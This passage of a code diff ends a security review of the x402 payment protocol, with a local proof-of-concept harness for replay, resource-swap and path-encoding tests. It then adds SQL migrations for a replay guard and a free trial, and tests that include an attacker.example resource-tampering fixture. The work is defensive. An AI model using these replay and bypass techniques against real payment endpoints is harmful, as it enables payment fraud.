sponsored-cost bounds. | +| Would I put money through it today? | **Only with settlement-gated release, my own idempotency store, route-bound nonces, and a self-hosted or cross-checked facilitator** — and only for low-value, metered, machine-facing endpoints. | + +--- + +## Appendix A — Reproducing this review + +The harness in `research/x402/poc/` runs entirely offline (no testnet RPC needed): + +- `facilitator.js` — a local facilitator built from the **real** `@x402/core` `x402Facilitator` + **real** `@x402/evm` `ExactEvmScheme`, with a chain stub (`writeContract` returns a fake hash, `getCode` returns bytecode only for the USDC address, `verifyTypedData` is real viem ECDSA). All signature/amount/recipient/time/scheme checks are the reference implementation's own. `NAIVE=1` additionally models a facilitator that does not authoritatively enforce on-chain single-use (for the multi-grant test); the default configuration simulates the real on-chain nonce revert. +- `server.js` — a merchant using the **real** `@x402/express` `paymentMiddleware`, protecting four routes with identical and differing prices. +- `attack2.mjs`, `experiments.mjs`, `tamper2.mjs`, `seq.mjs`, `pathbypass.mjs`, `headers.mjs`, `rawdup.mjs`, `priv.mjs` — the tests described in §3. + +```bash +cd research/x402/poc && npm install +PORT=4199 node facilitator.js & # real SDK facilitator, stubbed chain +PORT=4198 FACILITATOR_URL=http://127.0.0.1:4199 node server.js & +node attack2.mjs # baseline, resource swap, replay, amplification, price, verify-replay +node experiments.mjs # (SRV/FAC env) amount tampering, multi-grant, preemption +node tamper2.mjs # resource-field tampering (rewrite / delete) +node pathbypass.mjs # 11 path-encoding aliases +node rawdup.mjs # duplicate-header behaviour (raw bytes) +``` + +To reproduce the version-difference result in §3.4, install `@x402/*@2.10.0` instead of `latest` and check `cache-control` on the 402 and the paid 200. + +**Scope and limitations, stated plainly:** my testbed stubs the blockchain, so I cannot confirm on-chain settlement timing, gas outcomes, or chain-level races; §4 lines are third-party findings I did not independently reproduce; my tests cover the TypeScript reference stack (Express adapter) — Go, Python, Rust, and the edge/Next.js/Hono adapters were reviewed by reading, not by running; and the ecosystem figures in §2 come from third-party analysts with unpublished methodologies, which is itself part of the story. + +## Appendix B — Sources + +**Primary artifacts reviewed:** `x402-foundation/x402` (spec v1/v2, schemes `exact`/`upto`/`batch-settlement`, extensions `payment-identifier`/`bazaar`/`sign-in-with-x`/`offer-and-receipt`/`http-message-signatures`/gas-sponsoring, TypeScript/Go/Python/Java SDKs, e2e harness, Technical Charter); `@x402/*@2.10.0` and `@2.28.0` on npm; GHSA-3j63-5h8p-gf7c; GHSA-qr2g-p6q7-w82m. + +**Research:** arXiv 2605.11781 (Five Attacks, May 2026) · arXiv 2607.19545 (Facilitator risks, Jul 2026) · arXiv 2604.11430 (PII-safe x402, Jun 2026) · `x402-conformance`. + +**Reporting and data:** Coinbase developer blog (launch, May 2025) · CoinDesk (11 Mar 2026; 23 Aug 2026) · Artemis/Visa "Agentic Payments from the Ground Up" (Jul 2026, data 21 Apr 2026) · Helios Analytics / Jamie Coutts (Sept 2026) · DWFLabs x402 research · Khala Research (Mar 2026) · Cloudflare Pay Per Crawl & Monetization Gateway announcements and docs · AWS AgentCore/CloudFront x402 documentation · x402scan ecosystem data · independent audit of the x402.org counter (Sept 2026) · 4Pillars, dropstab, spark.money, rzlt.io ecosystem analyses · 402Bridge post-mortem. diff --git a/supabase/migrations/20261011_x402_payments.sql b/supabase/migrations/20261011_x402_payments.sql index 9458a0c..8c2f290 100644 --- a/supabase/migrations/20261011_x402_payments.sql +++ b/supabase/migrations/20261011_x402_payments.sql @@ -3,6 +3,14 @@ -- Enables tracking of on-chain bot payments alongside traditional UroPay orders. -- - currency: allow USDC in addition to INR -- - plan_id: supports 'x402-bot-microtransaction' +-- +-- SUPERSEDED by 20261012_x402_payment_guard.sql. +-- +-- Kept for migration-ordering history only. Despite the note below, this file +-- never actually relaxed payments.uid: it only set a table comment, so the +-- NOT NULL foreign key to auth.users stayed in force and silently rejected +-- every machine payment. The real change (and the reason below is no longer +-- accurate) lives in the 20261012 migration. begin; diff --git a/supabase/migrations/20261012_x402_payment_guard.sql b/supabase/migrations/20261012_x402_payment_guard.sql new file mode 100644 index 0000000..8b26a85 --- /dev/null +++ b/supabase/migrations/20261012_x402_payment_guard.sql @@ -0,0 +1,98 @@ +-- Migration: x402 one-payment-one-grant guard + machine-payment ledger fix +-- +-- Closes two defects in the x402 bot-payment path. +-- +-- 1) REPLAY. The reference x402 stack performs no HTTP-layer idempotency: +-- /verify is stateless and single-use is enforced only by the on-chain +-- EIP-3009 nonce. Against any facilitator that is not authoritative for +-- single-use (broadcast-only settle, `settlement_pending`, degraded RPC, +-- cache-permitting CDN), one signed payment produces N grants. This table +-- moves the "one payment = one grant" invariant into an atomic, +-- application-owned claim, so it holds regardless of facilitator behaviour. +-- +-- payment_identity is derived exclusively from SIGNED material +-- (network | asset | payer | nonce) — the same tuple that is single-use +-- on chain. A PRIMARY KEY conflict is therefore the replay signal. +-- +-- 2) NO LEDGER. public.payments.uid is NOT NULL REFERENCES auth.users(id), +-- but the x402 writer supplied the all-zero UUID, which is not a real auth +-- user. Every insert raised a foreign-key violation that the writer logged +-- and swallowed, so the entire x402 revenue stream had no ledger at all. +-- uid becomes nullable for machine rows only, guarded by a CHECK so human +-- payments keep a mandatory owner. +-- +-- Safe to re-run. + +begin; + +-- --------------------------------------------------------------- +-- 1. Machine payments have no auth.users owner. +-- --------------------------------------------------------------- + +alter table public.payments + alter column uid drop not null; + +-- Human payments must still be owned; only the x402 ledger row may be ownerless. +alter table public.payments + drop constraint if exists payments_uid_or_machine; + +alter table public.payments + add constraint payments_uid_or_machine + check ( + uid is not null + or plan_id = 'x402-bot-microtransaction' + ); + +-- UNIT NOTE for public.payments.amount, now that two rails share this table: +-- * UroPay rows store whole INR rupees (currency = 'INR'). +-- * x402 rows store atomic USDC, 6 decimals (currency = 'USDC'), so a +-- $0.005 microtransaction is 5000. USDC has no "whole unit" small enough +-- for these prices, which is why the atomic unit is used instead. +-- Always filter or group by `currency` before summing `amount`. + +-- --------------------------------------------------------------- +-- 2. Atomic one-grant claims +-- --------------------------------------------------------------- + +create table if not exists public.x402_payment_claims ( + payment_identity text primary key, + resource_key text not null, + network text not null, + asset text, + payer text, + amount_atomic text, + transaction_hash text, + payment_id_hint text, + claimed_at timestamptz not null default now() +); + +comment on table public.x402_payment_claims is + 'Atomically claimed x402 payments. A PRIMARY KEY conflict means the signed authorization was already consumed: one payment backs at most one granted resource. Written before the resource is released, and independently of the reporting ledger.'; + +comment on column public.x402_payment_claims.payment_identity is + 'sha256("x402-v1|" || network || "|" || asset || "|" || payer || "|" || nonce). Derived only from cryptographically signed fields, so it cannot be forged or varied without invalidating the payment signature.'; + +comment on column public.x402_payment_claims.resource_key is + 'The specific resource this payment was consumed for (e.g. "course:mun-basics"). Lets the guard distinguish an honest retry from a cross-resource replay.'; + +-- Retention / audit queries. +create index if not exists x402_payment_claims_claimed_at_idx + on public.x402_payment_claims (claimed_at desc); + +create index if not exists x402_payment_claims_payer_idx + on public.x402_payment_claims (payer, claimed_at desc); + +-- Server-only table. No client policies exist, so anon/authenticated roles have +-- no access path; the backend secret key bypasses RLS. +alter table public.x402_payment_claims enable row level security; + +drop policy if exists "x402_payment_claims_deny_all" on public.x402_payment_claims; +create policy "x402_payment_claims_deny_all" + on public.x402_payment_claims + as restrictive + for all + to anon, authenticated + using (false) + with check (false); + +commit; diff --git a/supabase/migrations/20261013_free_trial.sql b/supabase/migrations/20261013_free_trial.sql new file mode 100644 index 0000000..ffcc8e0 --- /dev/null +++ b/supabase/migrations/20261013_free_trial.sql @@ -0,0 +1,90 @@ +-- Free trial: three days of access granted automatically to a new account. +-- +-- Grant-once semantics are the whole point of this migration. The trial is +-- recorded by the EXISTENCE of a row in public.entitlements, and this function +-- only ever inserts when no row exists for that uid. That single rule closes +-- the abuse loop that would otherwise make the trial unlimited and free +-- forever: a user cannot let the trial expire and collect another one, and +-- cannot delete or reset the marker, because: +-- +-- * entitlements.uid is the PRIMARY KEY, so the insert races safely; +-- * the row is written only by SECURITY DEFINER functions, and +-- `revoke all ... from public, anon, authenticated` keeps direct writes +-- and the RPC itself out of reach of a signed-in browser; +-- * expired rows are never deleted (getEntitlement only reads them), so the +-- marker outlives the access it granted. +-- +-- A paid grant later UPDATEs this same row, so the marker survives conversion. +-- `trial_started_at` is therefore the durable record of "this account has had +-- its trial", independently of whatever plan_id is current afterwards. + +alter table public.entitlements + add column if not exists trial_started_at timestamptz; + +comment on column public.entitlements.trial_started_at is + 'Set once, when the free trial was granted. Never cleared, so it remains the durable record that this account has consumed its trial even after a paid grant replaces plan_id/source.'; + +create or replace function public.start_free_trial( + p_uid uuid, + p_days integer +) +-- NOTE: the second OUT parameter is deliberately NOT called `expires_at`. +-- An OUT parameter of that name shadows the column inside the function body, +-- which makes `returning expires_at` ambiguous. Renaming it keeps every +-- reference to `expires_at` unambiguously the table column. +returns table ( + granted boolean, + trial_expires_at timestamptz +) +language plpgsql +security definer +set search_path = public, pg_temp +as $$ +declare + v_expires_at timestamptz; +begin + -- Bounded on purpose: a caller passing 3650 would hand out a decade of free + -- access through a code path that is meant to hand out three days. + if p_uid is null or p_days is null or p_days < 1 or p_days > 30 then + raise exception 'invalid_free_trial_input'; + end if; + + insert into public.entitlements ( + uid, + status, + plan_id, + source, + starts_at, + expires_at, + trial_started_at, + updated_at + ) + values ( + p_uid, + 'active', + 'free-trial', + 'trial', + now(), + now() + make_interval(days => p_days), + now(), + now() + ) + -- The one-way door. If any row already exists for this uid the account has + -- had access before — trial, paid, or expired — and gets nothing. + on conflict (uid) do nothing + returning expires_at into v_expires_at; + + if v_expires_at is null then + return query select false, null::timestamptz; + return; + end if; + + return query select true, v_expires_at; +end; +$$; + +revoke all on function public.start_free_trial(uuid, integer) from public, anon, authenticated; +grant execute on function public.start_free_trial(uuid, integer) to service_role; + +comment on function public.start_free_trial(uuid, integer) is + 'Grants the one-time free trial to an account that has never had an entitlement. Returns granted=false (and changes nothing) when a row already exists, which is what makes the trial non-repeatable.'; diff --git a/tests/free-trial.test.ts b/tests/free-trial.test.ts new file mode 100644 index 0000000..81b3aa3 --- /dev/null +++ b/tests/free-trial.test.ts @@ -0,0 +1,184 @@ +import { describe, it, beforeEach, afterEach } from "node:test"; +import assert from "node:assert/strict"; + +import { + FREE_TRIAL_DAYS, + FREE_TRIAL_PLAN_ID, + canonicalPlanId, + freeTrialPlan, + getPlan, + getPlanForDisplay, + isTrialPlanId, + plans, +} from "@/lib/plans"; +import { + ensureTrialEntitlement, + freeTrialDays, + isTrialEntitlement, + trialDailyTokenCap, + trialUsageLimits, +} from "@/lib/server/trial"; +import { grantedResponseLimits } from "@/lib/server/x402-machine-limits"; + +const originalEnv = { ...process.env }; + +beforeEach(() => { + delete process.env.AI_FREE_TRIAL_DAYS; + delete process.env.AI_TRIAL_DAILY_TOKEN_CAP; +}); + +afterEach(() => { + process.env = { ...originalEnv }; +}); + +describe("the free trial is a plan an account can BE on, but never one it can BUY", () => { + // The load-bearing assertion of this whole feature. `create-order` resolves + // the amount it charges through getPlan(), so if this ever returns a plan the + // ₹0 trial becomes a purchasable ₹0 order — a free-access hole, not a bug. + it("does not resolve through the checkout resolver", () => { + assert.equal(getPlan(FREE_TRIAL_PLAN_ID), undefined); + assert.equal(getPlan("trial"), undefined); + assert.equal(getPlan("TRIAL"), undefined); + assert.equal(getPlan(" free-trial "), undefined); + }); + + it("resolves through the display resolver, so the UI can name it", () => { + assert.equal(getPlanForDisplay(FREE_TRIAL_PLAN_ID)?.name, "Free Trial"); + assert.equal(getPlanForDisplay("trial"), undefined, "no loose 'trial' alias"); + }); + + it("is absent from the purchasable catalogue, which is what the paywall renders", () => { + assert.equal(plans.length, 2); + assert.ok( + !plans.some((plan) => plan.id === FREE_TRIAL_PLAN_ID), + "a ₹0 plan in the catalogue would render a Buy button nobody should be able to press" + ); + for (const plan of plans) { + assert.ok(plan.amount > 0, `${plan.id} must cost money`); + } + }); + + it("identifies trial plan ids, including the stored alias", () => { + assert.equal(isTrialPlanId("free-trial"), true); + assert.equal(isTrialPlanId("free-trial"), true); + assert.equal(isTrialPlanId("weekly-pass"), false); + assert.equal(isTrialPlanId(null), false); + assert.equal(canonicalPlanId("free-trial"), FREE_TRIAL_PLAN_ID); + }); + + it("keeps the published trial length at three days", () => { + assert.equal(FREE_TRIAL_DAYS, 3); + assert.equal(freeTrialPlan.accessDays, 3); + assert.equal(freeTrialPlan.amount, 0); + }); +}); + +describe("trial usage limits — unlimited requests, bounded cost", () => { + it("lifts the request cap (0 means unlimited to reserve_ai_usage)", () => { + assert.deepEqual(trialUsageLimits(), { requestCap: 0, tokenCap: 1_000_000 }); + // Resolved with ?? not ||, so the deliberate 0 survives. If this ever + // became a truthiness check the trial would silently re-inherit the + // 60-request paid cap and stop being unlimited. + assert.equal(trialUsageLimits().requestCap ?? 60, 0); + }); + + it("keeps a finite daily token ceiling so cost stays bounded", () => { + const cap = trialDailyTokenCap(); + assert.ok(Number.isFinite(cap) && cap > 0, "an unbounded trial is an unbounded bill"); + assert.ok(cap >= 300_000, "the ceiling must not be tighter than the paid plan"); + }); + + it("honours an environment override", () => { + process.env.AI_TRIAL_DAILY_TOKEN_CAP = "250000"; + assert.equal(trialDailyTokenCap(), 250_000); + assert.equal(trialUsageLimits().tokenCap, 250_000); + }); + + it("rejects nonsense and out-of-range overrides rather than trusting them", () => { + process.env.AI_TRIAL_DAILY_TOKEN_CAP = "not-a-number"; + assert.equal(trialDailyTokenCap(), 1_000_000); + + process.env.AI_TRIAL_DAILY_TOKEN_CAP = "0"; + // Floored well above the ~18,000 tokens a single request reserves: a lower + // ceiling would make every trial request fail rather than reduce usage. + assert.equal(trialDailyTokenCap(), 100_000, "floored, never zero/unlimited"); + + process.env.AI_TRIAL_DAILY_TOKEN_CAP = "999999999999"; + assert.equal(trialDailyTokenCap(), 5_000_000, "capped"); + }); + + it("keeps the trial length inside the range the grant RPC accepts", () => { + assert.equal(freeTrialDays(), 3); + + process.env.AI_FREE_TRIAL_DAYS = "10"; + assert.equal(freeTrialDays(), 10); + + // The RPC raises on <1 or >30, so a bad env value must be clamped before it + // reaches Postgres — otherwise every trial grant would throw. + process.env.AI_FREE_TRIAL_DAYS = "3650"; + assert.equal(freeTrialDays(), 30); + + process.env.AI_FREE_TRIAL_DAYS = "0"; + assert.equal(freeTrialDays(), 1); + + process.env.AI_FREE_TRIAL_DAYS = "banana"; + assert.equal(freeTrialDays(), 3); + }); +}); + +describe("recognising a trial entitlement", () => { + it("is a trial only while active and on the trial plan", () => { + assert.equal(isTrialEntitlement({ status: "active", planId: "free-trial" }), true); + assert.equal(isTrialEntitlement({ status: "active", planId: "weekly-pass" }), false); + assert.equal(isTrialEntitlement({ status: "active", planId: "admin" }), false); + assert.equal(isTrialEntitlement({ status: "expired", planId: "free-trial" }), false); + assert.equal(isTrialEntitlement({ status: "inactive", planId: "free-trial" }), false); + assert.equal(isTrialEntitlement({ status: "active" }), false); + assert.equal(isTrialEntitlement(null), false); + assert.equal(isTrialEntitlement(undefined), false); + }); +}); + +describe("a trial cannot reach the paid model", () => { + it("downgrades Max instead of refusing it", () => { + const granted = grantedResponseLimits("trial", "max", 12000); + assert.equal(granted.responseMode, "thorough"); + assert.notEqual(granted.responseMode, "max"); + // Downgraded, not rejected: the triallist still gets a complete answer. + assert.equal(granted.maxTokens, 12000); + }); + + it("honours quick and thorough, and a smaller token request", () => { + assert.equal(grantedResponseLimits("trial", "quick", 1800).responseMode, "quick"); + assert.equal(grantedResponseLimits("trial", "quick", 1800).maxTokens, 1800); + assert.equal(grantedResponseLimits("trial", "thorough", 8000).responseMode, "thorough"); + assert.equal(grantedResponseLimits("trial", undefined, undefined).responseMode, "quick"); + }); + + it("still lets a paying subscriber use Max", () => { + assert.equal(grantedResponseLimits("paid", "max", 12000).responseMode, "max"); + }); + + it("still lets a machine caller through the machine rules, not the trial ones", () => { + const granted = grantedResponseLimits("machine", "max", 12000); + assert.equal(granted.responseMode, "thorough"); + assert.equal(granted.maxTokens, 8000); + }); +}); + +describe("a trial grant never breaks a request", () => { + it("never throws when the backend is unreachable", async () => { + // No Supabase credentials in this environment, so the RPC cannot be issued. + // A paying user must still be able to reach their tools in that case, so the + // failure has to be swallowed and reported, never propagated. + const result = await ensureTrialEntitlement("00000000-0000-4000-8000-000000000000"); + assert.equal(result.granted, false); + assert.equal(result.errored, true); + }); + + it("does not attempt a grant for an empty uid", async () => { + const result = await ensureTrialEntitlement(""); + assert.equal(result.granted, false); + assert.equal(result.errored, true); + }); +}); diff --git a/tests/x402-machine-limits.test.ts b/tests/x402-machine-limits.test.ts new file mode 100644 index 0000000..b7800a4 --- /dev/null +++ b/tests/x402-machine-limits.test.ts @@ -0,0 +1,114 @@ +import { describe, it } from "node:test"; +import assert from "node:assert/strict"; + +import { + X402_MACHINE_COMPLETION_CEILING, + X402_MACHINE_RESPONSE_MODE, + grantedResponseLimits, +} from "@/lib/server/x402-machine-limits"; + +// Published NVIDIA NIM list rates for the two models the router can reach, in +// USD per million tokens. Update these from the provider's pricing page; the +// cost bound below is only as good as they are. +const RATES = { + "glm-5.3-flash": { in: 0.15, out: 0.5 }, + "kimi-k3": { in: 3, out: 15 }, +} as const; + +/** The x402 price for one research request, in USD. Mirrors X402_ROUTE_PRICES.aiResearch. */ +const X402_AI_RESEARCH_PRICE_USD = 0.05; + +/** Largest prompt the request schema can produce: 6,000-char agenda + 36,000-char conversation. */ +const WORST_CASE_PROMPT_TOKENS = 10_000; + +function inferenceCostUsd(model: keyof typeof RATES, inputTokens: number, outputTokens: number) { + const rate = RATES[model]; + return (inputTokens / 1e6) * rate.in + (outputTokens / 1e6) * rate.out; +} + +describe("grantedResponseLimits — human callers are untouched", () => { + it("preserves the mode and an explicit token budget", () => { + assert.deepEqual(grantedResponseLimits("paid", "max", 12000), { + responseMode: "max", + maxTokens: 12000, + }); + }); + + it("preserves an undefined token budget so the mode ceiling applies", () => { + assert.deepEqual(grantedResponseLimits("paid", "quick", undefined), { + responseMode: "quick", + maxTokens: undefined, + }); + }); + + it("defaults a missing mode to quick, matching the request schema", () => { + assert.deepEqual(grantedResponseLimits("paid", undefined, undefined), { + responseMode: "quick", + maxTokens: undefined, + }); + }); +}); + +describe("grantedResponseLimits — machine callers are clamped to what they paid for", () => { + it("refuses the Max model no matter what the caller asks for", () => { + // The bug this exists to prevent: a $0.05 payment selecting Kimi K3. + for (const requested of ["max", "thorough", "quick", undefined] as const) { + const granted = grantedResponseLimits("machine", requested, 12000); + assert.equal(granted.responseMode, X402_MACHINE_RESPONSE_MODE); + assert.notEqual(granted.responseMode, "max"); + } + }); + + it("caps a caller's token request at the paid ceiling", () => { + assert.equal(grantedResponseLimits("machine", "max", 12000).maxTokens, X402_MACHINE_COMPLETION_CEILING); + assert.equal( + grantedResponseLimits("machine", "thorough", 999_999).maxTokens, + X402_MACHINE_COMPLETION_CEILING + ); + }); + + it("defaults to the paid ceiling when no token budget is requested", () => { + assert.equal(grantedResponseLimits("machine", "max", undefined).maxTokens, X402_MACHINE_COMPLETION_CEILING); + }); + + it("honours a smaller token request rather than inflating it", () => { + assert.equal(grantedResponseLimits("machine", "thorough", 1800).maxTokens, 1800); + assert.equal(grantedResponseLimits("machine", "max", 256).maxTokens, 256); + }); +}); + +describe("the x402 price covers the inference it is granted", () => { + it("keeps worst-case cost for a machine request well under the price", () => { + const granted = grantedResponseLimits("machine", "max", 12000); + const cost = inferenceCostUsd( + "glm-5.3-flash", + WORST_CASE_PROMPT_TOKENS, + granted.maxTokens! + ); + + assert.ok( + cost < X402_AI_RESEARCH_PRICE_USD, + `granted request costs $${cost.toFixed(4)} against a $${X402_AI_RESEARCH_PRICE_USD} price` + ); + // A comfortable margin, not a hair's breadth: if a ceiling or a rate change + // eats it, this fails before the loss reaches production. + assert.ok( + cost < X402_AI_RESEARCH_PRICE_USD * 0.5, + `granted request costs $${cost.toFixed(4)} — over half the $${X402_AI_RESEARCH_PRICE_USD} price` + ); + }); + + it("documents, by assertion, why the Max path must stay closed to machines", () => { + // This is the arithmetic behind the clamp. If a future change makes Max + // affordable at this price, this test fails and the ceiling can be raised + // deliberately — which is the point. + const maxCost = inferenceCostUsd("kimi-k3", WORST_CASE_PROMPT_TOKENS, 12000); + assert.ok( + maxCost > X402_AI_RESEARCH_PRICE_USD, + `Max now costs only $${maxCost.toFixed(4)} — the clamp can be revisited` + ); + + const dailyLossAtTheRequestCap = 60 * (maxCost - X402_AI_RESEARCH_PRICE_USD); + assert.ok(dailyLossAtTheRequestCap > 5, "the exposure this clamp removes"); + }); +}); diff --git a/tests/x402-payment-guard.test.ts b/tests/x402-payment-guard.test.ts new file mode 100644 index 0000000..9af1cb6 --- /dev/null +++ b/tests/x402-payment-guard.test.ts @@ -0,0 +1,591 @@ +import { describe, it, beforeEach, afterEach } from "node:test"; +import assert from "node:assert/strict"; + +import { + claimX402Payment, + countPayerClaimsSince, + deriveX402PaymentIdentity, + isX402PaymentClaimed, + resetX402ClaimStoreForTests, + setX402ClaimStoreForTests, + startOfUtcDay, + x402OrderRef, + type X402ClaimStore, +} from "@/lib/server/x402-payment-guard"; +import { fulfilX402Payment } from "@/lib/server/x402-fulfil"; +import { + X402_PAID_CONTENT_CACHE_CONTROL, + X402_PAYMENT_CACHE_CONTROL, + applyPaidContentCachePolicy, + assertValidPayTo, + processX402Request, + usdPriceToAtomicUnits, + type X402PaymentVerifiedResult, +} from "@/lib/server/x402-server"; + +/* ------------------------------------------------------------------ */ +/* Fixtures */ +/* ------------------------------------------------------------------ */ + +const PAYER_A = "0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed"; +const PAYER_B = "0x000000000000000000000000000000000000dEaD"; +const NONCE_A = "0x1f0f8bcb7ed7cbe9cbe1f0f8bcb7ed7cbe9cbe1f0f8bcb7ed7cbe9cbe1f0f8bc"; +const NONCE_B = "0x2a1b2c3d4e5f60718293a4b5c6d7e8f90123456789abcdef0123456789abcdef"; +const USDC_BASE_SEPOLIA = "0x036CbD53842c5426634e7929541eC2318f3dCF7e"; + +/** + * Builds a payment payload in the EIP-3009 shape the `exact` scheme produces. + * `overrides` lets a test mutate anything the client controls. + */ +function eip3009Payload(overrides: Record = {}) { + return { + x402Version: 2, + scheme: "exact", + network: "eip155:84532", + signature: "0xdeadbeef", + payload: { + signature: "0xdeadbeef", + authorization: { + from: PAYER_A, + to: "0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed", + value: "5000", + validAfter: "0", + validBefore: "9999999999", + nonce: NONCE_A, + }, + }, + ...overrides, + }; +} + +function paymentRequirements(overrides: Record = {}) { + return { + scheme: "exact", + network: "eip155:84532", + asset: USDC_BASE_SEPOLIA, + payTo: "0x5aAeb6053F3E94C9b9A09f33669435E7Ef1BeAed", + maxAmountRequired: "5000", + amount: "5000", + resource: "https://mun-prep.example/api/x402/content?resource=courses", + description: "MUN prep content", + ...overrides, + }; +} + +function verifiedResult(overrides: { + paymentPayload?: unknown; + paymentRequirements?: unknown; +} = {}): X402PaymentVerifiedResult { + return { + type: "payment-verified", + paymentPayload: overrides.paymentPayload ?? eip3009Payload(), + paymentRequirements: overrides.paymentRequirements ?? paymentRequirements(), + declaredExtensions: {}, + } as unknown as X402PaymentVerifiedResult; +} + +/** A settlement step that always succeeds, recording how often it was called. */ +function succeedingSettler() { + const calls: unknown[] = []; + return { + calls, + step: async (verified: X402PaymentVerifiedResult) => { + calls.push(verified.paymentPayload); + return { + success: true, + transaction: "0xsettled", + headers: { "PAYMENT-RESPONSE": "settled" }, + }; + }, + }; +} + +/** A store whose every operation fails, standing in for an unreachable database. */ +const brokenStore: X402ClaimStore = { + async insert() { + throw new Error("connection refused"); + }, + async lookup() { + throw new Error("connection refused"); + }, + async countSince() { + throw new Error("connection refused"); + }, +}; + +beforeEach(() => { + resetX402ClaimStoreForTests(); +}); + +afterEach(() => { + resetX402ClaimStoreForTests(); +}); + +/* ------------------------------------------------------------------ */ +/* Identity derivation */ +/* ------------------------------------------------------------------ */ + +describe("x402 payment identity", () => { + it("is deterministic for the same signed authorization", () => { + const first = deriveX402PaymentIdentity(eip3009Payload(), paymentRequirements()); + const second = deriveX402PaymentIdentity(eip3009Payload(), paymentRequirements()); + + assert.equal(first.identity, second.identity); + assert.equal(first.identity.length, 64); + assert.equal(first.payer, PAYER_A); + assert.equal(first.nonce, NONCE_A); + assert.equal(first.strong, true); + }); + + it("cannot be reused across a different nonce or payer", () => { + const base = deriveX402PaymentIdentity(eip3009Payload(), paymentRequirements()); + + const otherNonce = deriveX402PaymentIdentity( + eip3009Payload({ + payload: { + signature: "0xdeadbeef", + authorization: { + from: PAYER_A, + value: "5000", + nonce: NONCE_B, + }, + }, + }), + paymentRequirements() + ); + + const otherPayer = deriveX402PaymentIdentity( + eip3009Payload({ + payload: { + signature: "0xdeadbeef", + authorization: { from: PAYER_B, value: "5000", nonce: NONCE_A }, + }, + }), + paymentRequirements() + ); + + assert.notEqual(base.identity, otherNonce.identity); + assert.notEqual(base.identity, otherPayer.identity); + }); + + it("ignores client-supplied resource metadata", () => { + // The reference middleware never compares the client's claimed resource to + // the route actually served, so a payment bought for one URL could be + // replayed at another. Identity must not be derived from those fields. + const base = deriveX402PaymentIdentity(eip3009Payload(), paymentRequirements()); + + const rewritten = deriveX402PaymentIdentity( + eip3009Payload({ + resource: "https://attacker.example/api/x402/content?resource=courses", + description: "totally different", + accepted: { extra: { mutated: true } }, + }), + paymentRequirements({ + resource: "https://attacker.example/other", + description: "totally different", + }) + ); + + assert.equal(base.identity, rewritten.identity); + }); + + it("distinguishes networks and assets", () => { + const base = deriveX402PaymentIdentity(eip3009Payload(), paymentRequirements()); + const otherChain = deriveX402PaymentIdentity( + eip3009Payload(), + paymentRequirements({ network: "eip155:8453" }) + ); + const otherAsset = deriveX402PaymentIdentity( + eip3009Payload(), + paymentRequirements({ asset: "0x0000000000000000000000000000000000000000" }) + ); + + assert.notEqual(base.identity, otherChain.identity); + assert.notEqual(base.identity, otherAsset.identity); + }); + + it("falls back to a payload hash for unrecognised shapes without throwing", () => { + const weird = deriveX402PaymentIdentity( + { x402Version: 2, scheme: "exact", payload: { somethingElse: true } }, + paymentRequirements() + ); + + assert.equal(weird.strong, false); + assert.equal(weird.payer, null); + assert.equal(weird.identity.length, 64); + + // Stable across calls, so byte-identical replays are still rejected. + const again = deriveX402PaymentIdentity( + { x402Version: 2, scheme: "exact", payload: { somethingElse: true } }, + paymentRequirements() + ); + assert.equal(weird.identity, again.identity); + }); + + it("derives a deterministic ledger reference", () => { + const { identity } = deriveX402PaymentIdentity(eip3009Payload(), paymentRequirements()); + assert.equal(x402OrderRef(identity), `x402-${identity.slice(0, 40)}`); + assert.ok(x402OrderRef(identity).length <= 255); + }); +}); + +/* ------------------------------------------------------------------ */ +/* Claim store */ +/* ------------------------------------------------------------------ */ + +describe("x402 payment claim store", () => { + it("consumes an authorization exactly once", async () => { + const identity = deriveX402PaymentIdentity(eip3009Payload(), paymentRequirements()); + + const first = await claimX402Payment({ identity, resourceKey: "content:courses" }); + assert.equal(first.ok, true); + + const second = await claimX402Payment({ identity, resourceKey: "content:courses" }); + assert.equal(second.ok, false); + if (!second.ok) { + assert.equal(second.reason, "replay"); + assert.equal(second.claimedResource, "content:courses"); + } + }); + + it("grants exactly one claim under concurrency", async () => { + const identity = deriveX402PaymentIdentity(eip3009Payload(), paymentRequirements()); + + const results = await Promise.all( + Array.from({ length: 12 }, () => + claimX402Payment({ identity, resourceKey: "content:courses" }) + ) + ); + + assert.equal(results.filter((result) => result.ok).length, 1); + assert.equal(results.filter((result) => !result.ok).length, 11); + }); + + it("reports a claimed payment and counts it per payer", async () => { + const identity = deriveX402PaymentIdentity(eip3009Payload(), paymentRequirements()); + assert.equal(await isX402PaymentClaimed(identity.identity), false); + + await claimX402Payment({ identity, resourceKey: "content:courses" }); + assert.equal(await isX402PaymentClaimed(identity.identity), true); + + assert.equal(await countPayerClaimsSince(PAYER_A, startOfUtcDay()), 1); + assert.equal(await countPayerClaimsSince(PAYER_B, startOfUtcDay()), 0); + // A window that ends in the future excludes the claim. + assert.equal(await countPayerClaimsSince(PAYER_A, new Date(Date.now() + 60_000)), 0); + }); +}); + +/* ------------------------------------------------------------------ */ +/* Fulfilment pipeline */ +/* ------------------------------------------------------------------ */ + +describe("x402 fulfilment pipeline", () => { + it("grants once and reports settlement headers", async () => { + const settler = succeedingSettler(); + + const outcome = await fulfilX402Payment({ + verified: verifiedResult(), + resourceKey: "content:courses", + amountUsd: "0.005", + route: "/api/x402/content", + settle: settler.step, + }); + + assert.equal(outcome.ok, true); + assert.equal(settler.calls.length, 1); + if (outcome.ok) { + assert.equal(outcome.transaction, "0xsettled"); + assert.equal(outcome.headers["PAYMENT-RESPONSE"], "settled"); + assert.equal(outcome.identity.payer, PAYER_A); + } + }); + + it("refuses a replay before spending gas", async () => { + const settler = succeedingSettler(); + const first = await fulfilX402Payment({ + verified: verifiedResult(), + resourceKey: "content:courses", + amountUsd: "0.005", + route: "/api/x402/content", + settle: settler.step, + }); + assert.equal(first.ok, true); + + const replay = await fulfilX402Payment({ + verified: verifiedResult(), + resourceKey: "content:courses", + amountUsd: "0.005", + route: "/api/x402/content", + settle: settler.step, + }); + + assert.equal(replay.ok, false); + // The replay was caught by the pre-check, so no second settlement ran. + assert.equal(settler.calls.length, 1); + + if (!replay.ok) { + assert.equal(replay.response.status, 409); + assert.equal(replay.response.headers.get("Cache-Control"), X402_PAYMENT_CACHE_CONTROL); + const body = await replay.response.json(); + assert.equal(body.code, "payment_already_consumed"); + } + }); + + it("withholds the resource when settlement succeeds but the claim is taken", async () => { + // The non-authoritative-facilitator case: /settle reports success for an + // authorization that has already been consumed, and the cheap pre-check + // misses (stale replica, or a race between the two requests). Only the + // 